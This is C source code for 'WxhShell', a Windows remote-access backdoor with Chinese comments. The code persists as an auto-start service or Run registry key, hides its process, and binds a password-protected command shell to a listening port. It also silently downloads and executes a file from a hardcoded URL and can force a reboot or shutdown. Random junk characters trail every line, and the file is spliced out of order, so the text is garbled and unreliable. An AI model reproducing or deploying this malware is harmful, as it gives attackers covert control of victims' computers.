    if(Boot(SHUTDOWN)) o O%!P<D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&:[G>iSm^  
    else { ;=: R|  
    closesocket(wsh); @3wI(l[  
    ExitThread(0); GbUcNROr  
    } ^|xj.  
    break; }Bw=2 ~  
    } Y<3s_  
  // 获取shell ]*j>yj.Y'~  
  case 's': { ,'5P[-  
    CmdShell(wsh); ?15k~1nA  
    closesocket(wsh); /b6Y~YbgU  
    ExitThread(0); TFbCJ@X  
    break; "F>-W \%  
  } &<@ { d  
  // 退出  /Z! ,1  
  case 'x': { dgd&ymRm :  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {l{p  
    CloseIt(wsh); ?I}jsm1)  
    break; +P|$T:b  
    } 7c!oFwM  
  // 离开 ~6U@*Svk  
  case 'q': { -`wGF#}y(=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U@yrqT@;AU  
    closesocket(wsh); Rg)\o(J  
    WSACleanup(); yGgHd=?  
    exit(1); w3Aq[1U0  
    break; 9 pE)S^P  
        } %8`zaa  
  } 95(c{ l/  
  } mmY~V:,Kd  
JiZ9ly( G  
  // 提示信息 ;nLQ?eS\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z]$yuM  
} !? ?Cxs'  
  } lnbw-IE!  
:d/Z&LXD  
  return; Fdd$Bl.&XS  
} 8"wA8l.  
"A__z|sQ  
// shell模块句柄 iJ42` 51  
int CmdShell(SOCKET sock) tnqW!F~  
{ /r@P\_  
STARTUPINFO si; \|R`wFn^P  
ZeroMemory(&si,sizeof(si)); >IfJ.g"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t(lTXG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YV-2es+Bd  
PROCESS_INFORMATION ProcessInfo; W#e:rz8=  
char cmdline[]="cmd"; :*t v`:;p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WP32t@  
  return 0; `@ qSDW!b  
} )ty *_@N0  
IK{0Y#c  
// 自身启动模式 /.'1i4Xa1P  
int StartFromService(void) \yb^%$hZ0  
{ +x G](?  
typedef struct Ec_ G9&  
{ 0VoC|,$U  
  DWORD ExitStatus; Z T8. r0  
  DWORD PebBaseAddress; y>2v 9;Qp  
  DWORD AffinityMask; %'\D _W&  
  DWORD BasePriority; C,]Q/6'>  
  ULONG UniqueProcessId; <WaiJy?  
  ULONG InheritedFromUniqueProcessId; PZLWyp  
}   PROCESS_BASIC_INFORMATION; ] 5P{*  
'BAe>r_Pn  
PROCNTQSIP NtQueryInformationProcess; po=*%Zs*T  
7`X"B*`~b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F xFK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'ZT!a]4  
v8*ZwF  
  HANDLE             hProcess; ~l6e&J  
  PROCESS_BASIC_INFORMATION pbi; ,wO5IaV  
HxZ4t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \_x)E]D  
  if(NULL == hInst ) return 0; 5 1 x^gX|  
2:pq|eiF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DLS-WL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pe,c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dmlh;Z  
8>pFpS  
  if (!NtQueryInformationProcess) return 0; pKEMp&geo  
nkhM1y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }'H Da M  
  if(!hProcess) return 0; % Pa-fee  
H:[z#f|t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !\awT  
 k[vn:  
  CloseHandle(hProcess); v Z]gb$  
WR'A%"qBwi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'c &Bmd40  
if(hProcess==NULL) return 0; +bRL.xY  
=PZs'K  
HMODULE hMod; gLpWfT29V  
char procName[255]; w_U5w  
unsigned long cbNeeded; tD4IwX  
6_XX[.%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T7W+K7kbI  
*ac#wEd  
  CloseHandle(hProcess); ppV\FQ{K  
Ce_Z &?  
if(strstr(procName,"services")) return 1; // 以服务启动 ~MhPzu&B  
]KuK\(\  
  return 0; // 注册表启动 x,7a xx6  
} uxh4nyE  
k*M{?4  
// 主模块 YRYrR|I  
int StartWxhshell(LPSTR lpCmdLine) Ok:@F/ v  
{ DJn>. Gd  
  SOCKET wsl; V9<[v?.\  
BOOL val=TRUE; AOWI`  
  int port=0; t?0=;.D  
  struct sockaddr_in door; Nc"h8p?  
uO^{+=;A =  
  if(wscfg.ws_autoins) Install(); $%t{O[ (  
fi?[ e?|c@  
port=atoi(lpCmdLine); %pwm34  
MfL q h  
if(port<=0) port=wscfg.ws_port; xxV{1, H2  
+=}% 7o  
  WSADATA data; e.HN%LrhS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <0kRky$  
(g4g-"rc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (c} 0Sg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {M%"z,GL7J  
  door.sin_family = AF_INET; C*78ZwZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "M:arP5f  
  door.sin_port = htons(port); n]o+KT\  
-8pHjry'q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v5 9>  
closesocket(wsl); =  Oq;  
return 1; L>L4%?  
} b _u&%  
F2:7UNy,  
  if(listen(wsl,2) == INVALID_SOCKET) { u8W*_;%:  
closesocket(wsl); $ o t"Du  
return 1; "RShsJZMH  
} tNUcmiY  
  Wxhshell(wsl); #g|j;{P  
  WSACleanup(); T\WNT#My  
#qn)Nq(  
return 0; F)%; gzs  
Ha/\&Z(  
} 3>jz3>v@  
_ssHRbE  
// 以NT服务方式启动 NeK:[Q@je  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i#-Jl7V[a  
{ L,D!T&B  
DWORD   status = 0; kfVG@o?o  
  DWORD   specificError = 0xfffffff; Tbwq_3f K  
n >eIQaV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]{"(l(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8n73MF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #m M&CscE  
  serviceStatus.dwWin32ExitCode     = 0; {?jdPh  
  serviceStatus.dwServiceSpecificExitCode = 0; z%AIv%  
  serviceStatus.dwCheckPoint       = 0; J%A`M\  
  serviceStatus.dwWaitHint       = 0; q%y_<Fw#E  
sZbzY^P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O%)9t FT  
  if (hServiceStatusHandle==0) return; VAthQ<  
+<q^[<pS  
status = GetLastError(); B!N807  
  if (status!=NO_ERROR) NrU -%!Aw  
{ BT#>b@Xub  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pUwX cy<n  
    serviceStatus.dwCheckPoint       = 0; KC]Jbm{y  
    serviceStatus.dwWaitHint       = 0; %-*vlNC)  
    serviceStatus.dwWin32ExitCode     = status; -w2g a1  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bdg*XfXXk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a-} %R  
    return; fwnpmuJ  
  } Sx~_p3_5U  
RXof$2CZS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pts}?   
  serviceStatus.dwCheckPoint       = 0; cp2fDn  
  serviceStatus.dwWaitHint       = 0; HdLkof2i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7]^ }  
} I^wj7cFo5  
)N6R#   
// 处理NT服务事件,比如:启动、停止 njX:[_&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \=_8G:1  
{ c,-x}i0c  
switch(fdwControl) ps [6)d)o  
{ EiN.VU `  
case SERVICE_CONTROL_STOP: 'wZy: c  
  serviceStatus.dwWin32ExitCode = 0; XVLuhw i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C[KU~@  
  serviceStatus.dwCheckPoint   = 0; E*I]v  
  serviceStatus.dwWaitHint     = 0; dSL %%  
  { XH2 SEeh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #wd \&  
  } .;F+ QP0  
  return; 0!VLPA:  
case SERVICE_CONTROL_PAUSE: 2(rZ@Wl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &B2c]GoW  
  break; w2,T.3DT  
case SERVICE_CONTROL_CONTINUE: =%u|8Ea*`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c@^:tB  
  break; F@*lR(4C  
case SERVICE_CONTROL_INTERROGATE: ?% X9XH/!  
  break; nSow$6T_  
}; MU e 'xK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xh6x B|Z  
} VoyH:  
?.A|Fy^  
// 标准应用程序主函数 pkU e|V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w@ 5/mf?  
{ Hb+#*42v  
]dK]a:S  
// 获取操作系统版本 A{J1 n  
OsIsNt=GetOsVer(); *0hiPj:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )f!dG(\&#  
'=~y'nPG7  
  // 从命令行安装 7gMtnwT  
  if(strpbrk(lpCmdLine,"iI")) Install(); KVcZ@0[S  
CU;nrd"  
  // 下载执行文件 PJYA5"}W  
if(wscfg.ws_downexe) { OT& E)eR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M$W#Q\<*#r  
  WinExec(wscfg.ws_filenam,SW_HIDE); w.Vynb  
} t(Zs*c(  
Wi5|9  
if(!OsIsNt) { j>Z]J'P  
// 如果时win9x,隐藏进程并且设置为注册表启动 >YBpB,WND  
HideProc(); p<zXuocQ  
StartWxhshell(lpCmdLine); cGc|n3(  
} LJ/qF0L!H  
else >a7(A#3@d  
  if(StartFromService()) ]18ygqt  
  // 以服务方式启动 pu:D/2R2;k  
  StartServiceCtrlDispatcher(DispatchTable); i@CMPz-h&  
else 1a$V{Eag  
  // 普通方式启动 5y3TlR  
  StartWxhshell(lpCmdLine); Crhi+D  
u,akEvH~a  
return 0; U&n>fXTHn  
} @."o:K  
]k: m2$le  
8T)zB6ng  
W #L"5pRg  
=========================================== AMd)d^;  
bVeTseAG  
--twkD  
j?f <hQ  
{&#~t4  
D'`"_  
" E)JyKm.  
^B5cNEO  
#include <stdio.h> S@g/Tn  
#include <string.h> (`]*Y(/2G  
#include <windows.h> i5KwYoN  
#include <winsock2.h> V0Z7o\-J  
#include <winsvc.h> Hm VTfH'  
#include <urlmon.h> b'1d<sD  
M6'C3,y0  
#pragma comment (lib, "Ws2_32.lib") yJ8}*Gj&  
#pragma comment (lib, "urlmon.lib") ING_:XpnJ  
MXF"F:-Kn  
#define MAX_USER   100 // 最大客户端连接数 H~|%vjH  
#define BUF_SOCK   200 // sock buffer ARdGh_yJ&  
#define KEY_BUFF   255 // 输入 buffer FMd LkyK;  
%p2x^air  
#define REBOOT     0   // 重启 x"8ey|@&,  
#define SHUTDOWN   1   // 关机 jN%p5nZ^EK  
7vaN&%;E%  
#define DEF_PORT   5000 // 监听端口 NceB'YG|  
t/*K#]26  
#define REG_LEN     16   // 注册表键长度 7+a%ehwU  
#define SVC_LEN     80   // NT服务名长度 F>QT|  
`f+8WPJPZ  
// 从dll定义API d BMe`hM)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *fl{Y(_OO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6#)Jl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T_x+sv=|X!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @qPyrgy  
NVJ&C]H6  
// wxhshell配置信息 Nr24[e G>d  
struct WSCFG { sk ?'^6Xh  
  int ws_port;         // 监听端口 pTALhj#,  
  char ws_passstr[REG_LEN]; // 口令 Ww96|m  
  int ws_autoins;       // 安装标记, 1=yes 0=no nheU~jb  
  char ws_regname[REG_LEN]; // 注册表键名 "P'&+dH8  
  char ws_svcname[REG_LEN]; // 服务名 e:J'&r& 1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hO/5>Zv?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k&A7alw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nF<y7XkO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lW$&fuDHF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z|(c(H2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f5aF6FBH  
6%kJDY.  
}; bqrJP3  
qggk:cN1  
// default Wxhshell configuration Dk`4bYK  
struct WSCFG wscfg={DEF_PORT, 43>9)t  
    "xuhuanlingzhe", Pc(n@'m~  
    1, rMHQzQ0%  
    "Wxhshell", ?7uK P}1|  
    "Wxhshell", Aw4?y[{H  
            "WxhShell Service", gr>o E#7  
    "Wrsky Windows CmdShell Service", (]Ye[j^"7  
    "Please Input Your Password: ", OwA~(  
  1, (9}eF)+O  
  "http://www.wrsky.com/wxhshell.exe",  @yt 2_  
  "Wxhshell.exe" RM&H!E<#  
    }; V3mjb H>F  
*IWFeu7y  
// 消息定义模块 r]8x;v1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VyWYfPK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ov`^o25f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?+n&hHRg  
char *msg_ws_ext="\n\rExit."; qBy NHo7Tb  
char *msg_ws_end="\n\rQuit."; i Y*o;z,~  
char *msg_ws_boot="\n\rReboot..."; U|J$?aFDr  
char *msg_ws_poff="\n\rShutdown..."; +YkW[a\4  
char *msg_ws_down="\n\rSave to "; i_=?eUq%q/  
F#1 Kk#t  
char *msg_ws_err="\n\rErr!"; 1l+kO,X]  
char *msg_ws_ok="\n\rOK!"; 5L-lpT8P  
[0u.}c;(  
char ExeFile[MAX_PATH]; EmX>T>~#D  
int nUser = 0; 9zZ5Lr^21  
HANDLE handles[MAX_USER]; 8QVE_ Eu  
int OsIsNt; StU  4{  
mDQEXMD  
SERVICE_STATUS       serviceStatus; rGnI(m.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [1b6#I"x  
=.36y9Mfo  
// 函数声明 _F`$ d2  
int Install(void); [ WV@w  
int Uninstall(void); +M'aWlPg,  
int DownloadFile(char *sURL, SOCKET wsh); .tRr?*V|l  
int Boot(int flag); Ot`LZ"H:  
void HideProc(void); F qeV3 N  
int GetOsVer(void); Zc'|!pT _  
int Wxhshell(SOCKET wsl); /m `}f]u  
void TalkWithClient(void *cs); ;)(Sdf[P  
int CmdShell(SOCKET sock); e1 x^PT  
int StartFromService(void); `^7:7Wr]=  
int StartWxhshell(LPSTR lpCmdLine); wMb)6YZs  
-t8hi+NK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); erx 5j\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~;M)qR?]W  
#l*a~^dhqC  
// 数据结构和表定义 `$s)X$W?  
SERVICE_TABLE_ENTRY DispatchTable[] = kSbO[)p   
{ Jd5\&ma  
{wscfg.ws_svcname, NTServiceMain}, pOC% oj  
{NULL, NULL} f64(a\Rw!^  
}; M1oPOC\0.  
$hkq>i \  
// 自我安装 +|y*}bG  
int Install(void) |K L')&"  
{ XE_ir Et  
  char svExeFile[MAX_PATH]; ?y ~TCqV  
  HKEY key; I=K!)X$  
  strcpy(svExeFile,ExeFile); Rn`ld@=p[  
'lJEHz\  
// 如果是win9x系统,修改注册表设为自启动 ?X\3&Ujy$  
if(!OsIsNt) { `|$'g^eCL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >i "qMZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =p <?Hu  
  RegCloseKey(key); lVPOYl%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9G0D3F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s\[LpLt  
  RegCloseKey(key); KZ=u54  
  return 0; &+ KyPY+  
    } t3PtKgP-6  
  } 7vn%kW=$  
} ~C&*.ZR  
else { &&=[Ivv  
hAm/mu  
// 如果是NT以上系统,安装为系统服务 %2f//SZ:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hd9XfU  
if (schSCManager!=0) Ju!(gh  
{ [r)e P({  
  SC_HANDLE schService = CreateService +l`65!"  
  ( dsJm>U)  
  schSCManager, N0i!l|G6  
  wscfg.ws_svcname, w OI^Q~  
  wscfg.ws_svcdisp, -fE.<)m=!  
  SERVICE_ALL_ACCESS, vCw<G6tD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UuU/c-.  
  SERVICE_AUTO_START, *?/tO, R?  
  SERVICE_ERROR_NORMAL, BZK2$0  
  svExeFile, C5xag#Z1  
  NULL, zuSq+px L@  
  NULL, R}8XRe  
  NULL, tz26=8  
  NULL, Ck\7F?S  
  NULL RK[D_SmS  
  ); F^QQ0h]2  
  if (schService!=0) {~SaRB2<'  
  { {C3U6kKs;R  
  CloseServiceHandle(schService); ui:=  
  CloseServiceHandle(schSCManager); !/`$AXO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V YZU eh  
  strcat(svExeFile,wscfg.ws_svcname); r9# \13-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bLzs?eos  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mi+H#xx16  
  RegCloseKey(key); 0Vkl`DmeM.  
  return 0; e  ^Ds  
    } ]hA,LY f  
  } LxLy+yC#p  
  CloseServiceHandle(schSCManager); !\FkG8  
} B z^|SkEit  
} q2hFOm  
%SrM|&[  
return 1; j9d!yW  
} #]CFA9 z  
+Y}V3(w9X  
// 自我卸载 `ltN,?/  
int Uninstall(void) <Mx0\b!  
{ <3 TA>Dz  
  HKEY key; nd ink$  
F>zl9Vi<  
if(!OsIsNt) { rYY$wA@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LCs__.  
  RegDeleteValue(key,wscfg.ws_regname); $Az^Y0[D  
  RegCloseKey(key); 'fx UV<K&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9i5tVOhE  
  RegDeleteValue(key,wscfg.ws_regname); K{@3\5<  
  RegCloseKey(key); 8S]".  
  return 0; (hB?  
  } "9IYB)Js  
} (-0ePSOG  
} ZrO!L_/  
else { 6sJw@Oa J  
?^i1_v7 Bi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0V$k7H$Z  
if (schSCManager!=0) 4[yIOs  
{ ?WUF!Jk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n(1')?"mA  
  if (schService!=0) VA] e  
  { .1yT*+`  
  if(DeleteService(schService)!=0) { ?YQPlv:<o.  
  CloseServiceHandle(schService); :XG;ru%i  
  CloseServiceHandle(schSCManager); 3*ixlO:qGk  
  return 0; [kV;[c}  
  }  foRD{Hx  
  CloseServiceHandle(schService); Os&n  
  } Su8|R"qU  
  CloseServiceHandle(schSCManager); \25/$Ae}c  
} cc}Key@D  
} 6Wj^*L!  
&Lm-()wb  
return 1; 7y^%7U \  
} l[Q:}y  
2 PqS%`XiS  
// 从指定url下载文件 :s={[KBP  
int DownloadFile(char *sURL, SOCKET wsh) 9Fo fr  
{ ke_ [  
  HRESULT hr; 5%zXAQD=<  
char seps[]= "/"; Pq9|WV#F5/  
char *token; yWDTjY/  
char *file; jN31hDg<z  
char myURL[MAX_PATH]; Z[Qza13lo  
char myFILE[MAX_PATH]; r H8@69,B  
B9R(&<4  
strcpy(myURL,sURL); ^qGb%! l  
  token=strtok(myURL,seps); kDvc" ,SD#  
  while(token!=NULL) 0NDftcB]  
  { N8toxRu  
    file=token; TlZT1H  
  token=strtok(NULL,seps); =(v^5  
  } /E;y,o75  
h RC  
GetCurrentDirectory(MAX_PATH,myFILE); 1Xu?(2;NF  
strcat(myFILE, "\\"); *&BnF\?m  
strcat(myFILE, file); V7d) S&*V  
  send(wsh,myFILE,strlen(myFILE),0); *NFg;<:j  
send(wsh,"...",3,0); )s_n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cD*}..-/4  
  if(hr==S_OK) lot%N(mB`  
return 0; Ub1hHA*)  
else %`MQmXgM  
return 1; !RB)_7  
<"N_j]wD  
} s m,VYYs  
4y:]DC"  
// 系统电源模块 E>b2+;Jv  
int Boot(int flag) 9,uhf b^]  
{ Vj<:GRNQ,d  
  HANDLE hToken; e^p +1-B  
  TOKEN_PRIVILEGES tkp; %nN `|\  
5r~# 0Zf*  
  if(OsIsNt) { 5 @U<I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3E3U /K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sUZX }  
    tkp.PrivilegeCount = 1; ~Q {QM:k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !oPq?lW9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N`iwC!  
if(flag==REBOOT) { PZxAH9 S?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :Z`:nq.a  
  return 0; -fhN"B)  
} L`f^y;Y.  
else { U,#yqER'r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o#) {1<0vg  
  return 0; x:-.+C%  
} Z4<L$i;/jN  
  } T|J9cgtS  
  else { L86n}+ P\  
if(flag==REBOOT) { E)Gw0]G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2M#M"LHo  
  return 0; Q!- 0xlx  
} P-F)%T[  
else { W} WI; cI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Lbe\@S   
  return 0; .2d9?p3Y  
} We0.3aG  
} T134ZXqqz  
V7#v6!7A@  
return 1; Xq'cA9v=$J  
} EA ]+vq  
f}g\D#`]/  
// win9x进程隐藏模块 R_M?dEtE>  
void HideProc(void) b0 iSn#$  
{ 'iLpE7  
4tL<q_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~ wg:!VWA)  
  if ( hKernel != NULL ) 8.F~k~srA  
  { F, U*yj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .MO\uh0N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4iSa7YqhBT  
    FreeLibrary(hKernel); RMMd#/A@}  
  } W3`>8v1?o  
zJe#m|Z  
return; f{SB1M   
} )`^p%k  
6'\6OsH  
// 获取操作系统版本 OL4z%mDZi  
int GetOsVer(void) LU!dN"[k  
{ U(~+o  
  OSVERSIONINFO winfo; &-(463  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3u%{dGa  
  GetVersionEx(&winfo); 3?Y2L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9x,RvWTb  
  return 1;  >S$Z  
  else ss;R8:5  
  return 0; xsWur(>]  
} 5 ae2<Y=  
F~A'X  
// 客户端句柄模块 [O: !(G je  
int Wxhshell(SOCKET wsl) SG6sw]x  
{ y:v,j42%  
  SOCKET wsh; ySI~{YVM  
  struct sockaddr_in client; 9 \^|6k,  
  DWORD myID; Mq';S^  
v\(2&*  
  while(nUser<MAX_USER) 2^?:&1:  
{ apE   
  int nSize=sizeof(client); n3J53| %v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NcY608C  
  if(wsh==INVALID_SOCKET) return 1; }9nDo*A"}  
9"g6C<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R8.CC1Ix  
if(handles[nUser]==0) K~ ;45Z2  
  closesocket(wsh); 1S@vGq}  
else JxyB(  
  nUser++; q^6+!&"  
  } IIy~[4dW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uZ;D!2Q a  
$s<Ne{?  
  return 0; McPNB`.H  
} y8fsveX  
uc|45Zxt  
// 关闭 socket xe/(  
void CloseIt(SOCKET wsh) {rcnM7 S1L  
{ =y=cW1TG  
closesocket(wsh); g2unV[()_  
nUser--; =J1rlnaaEL  
ExitThread(0); #-h\.#s  
} c'*a{CV4P  
Rp$}YN  
// 客户端请求句柄 EI\9_}@,  
void TalkWithClient(void *cs) Qt|c1@J  
{ EUIIr4]  
`"%T=w  
  SOCKET wsh=(SOCKET)cs; *OQG 4aWy  
  char pwd[SVC_LEN]; OgX6'E\E  
  char cmd[KEY_BUFF]; q%ow/!\;  
char chr[1]; $0arz{Oh  
int i,j; +f[ED4E>'(  
!0N7^Z"gtz  
  while (nUser < MAX_USER) { 37;$-cFE  
jM\*A#Jo5  
if(wscfg.ws_passstr) { vVL@K,q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a ^%"7Ri  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @)K%2Y`  
  //ZeroMemory(pwd,KEY_BUFF); u[{tb  
      i=0; LdB($4,  
  while(i<SVC_LEN) { %Q!`NCe+[  
x\QY@9  
  // 设置超时 wY"Q o7  
  fd_set FdRead; |{,KRO0P  
  struct timeval TimeOut; ^FnfJ:  
  FD_ZERO(&FdRead); '?({;/L  
  FD_SET(wsh,&FdRead); %$TGzK1  
  TimeOut.tv_sec=8; p019)X|vx  
  TimeOut.tv_usec=0; 1Z,[|wJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gt wT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NH0qVQ@A  
, lJ  v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c2K:FdB  
  pwd=chr[0]; g (#f:"  
  if(chr[0]==0xd || chr[0]==0xa) { l&}y/t4%  
  pwd=0; CpJ0m-7aIH  
  break; j^`hzh3S  
  } ~b:Rd{  
  i++; J/3_C6UZ  
    } 'TA UE{{  
S/ibb&  
  // 如果是非法用户,关闭 socket M?;y\vS?.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +&["HoKg}&  
} b=/curl&  
H)(:8~c,p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;>mCalwj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2}W0 F2*  
mq%<6/Y U  
while(1) { /x1MPP>fu  
z,|{fKtY}  
  ZeroMemory(cmd,KEY_BUFF); qgDRu]ba  
l9M0cZ,  
      // 自动支持客户端 telnet标准   rm} R>4  
  j=0; $U/YR&vcw  
  while(j<KEY_BUFF) { {8I.`U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }cN@[3v  
  cmd[j]=chr[0]; pD&& l!i&[  
  if(chr[0]==0xa || chr[0]==0xd) { /6_|]ijc  
  cmd[j]=0; :f$xQr4Qz  
  break; uB7 V?A  
  } bb d.  
  j++; *@TZ+{t  
    } N;+[`l  
[{X^c.8G)  
  // 下载文件 ?:Bv iF);/  
  if(strstr(cmd,"http://")) { )IJQeC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *FJZi Py  
  if(DownloadFile(cmd,wsh)) _.-;5M-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =r@vc  
  else 7h)iu9j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J "FC%\|  
  } ?@n/v F  
  else { )+Oujt  
U#1bp}y  
    switch(cmd[0]) { 0T>H)c6:\  
  3su78et}  
  // 帮助 x1ztfJd  
